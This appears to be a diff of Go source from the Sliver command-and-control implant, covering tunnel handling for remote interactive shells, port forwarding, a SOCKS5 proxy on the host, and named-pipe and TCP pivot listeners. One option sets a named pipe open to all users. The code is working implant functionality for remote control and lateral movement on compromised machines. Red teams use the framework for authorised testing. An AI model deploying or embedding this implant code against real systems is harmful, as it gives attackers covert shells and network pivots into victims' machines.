// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,32 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -0,0 +1,66 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -0,0 +1,81 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -0,0 +1,126 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -0,0 +1,138 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdin,
systemShell.Stdout,
systemShell.Stderr,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
for _, rc := range tunnel.Readers {
go func(outErr io.ReadCloser) {
tWriter := tunnelWriter{
conn: connection,
tun: tunnel,
}
_, err := io.Copy(tWriter, outErr)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}(rc)
}
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -0,0 +1,165 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,38 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
@@ -0,0 +1,13 @@
package tunnel_handlers
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
connection.Send <- &sliverpb.Envelope{
Data: data,
ID: envelope.ID,
}
}
+12 -3
View File
@@ -31,17 +31,25 @@ import (
"github.com/lesnuages/go-winio"
)
const PipeAllowAllAccess = 0
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
sd := ""
if len(opts) > 0 {
if opts[PipeAllowAllAccess] {
sd = "D:(A;;0x1f019f;;;WD)" // open to all
}
}
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
SecurityDescriptor: sd,
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
Options: opts,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
+25 -24
View File
@@ -24,6 +24,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -38,10 +39,6 @@ import (
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
@@ -75,7 +72,7 @@ func generatePeerID() int64 {
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -109,18 +106,19 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
return false
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
stoppedPivotListeners = &sync.Map{}
}
// StopAllListeners - Stop all pivot listeners
@@ -210,6 +208,7 @@ type PivotListener struct {
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
Options []bool
}
// ToProtobuf - Get the protobuf version of the pivot listener
@@ -476,7 +475,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +486,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+1 -1
View File
@@ -36,7 +36,7 @@ var (
)
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
+31 -10
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,83 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
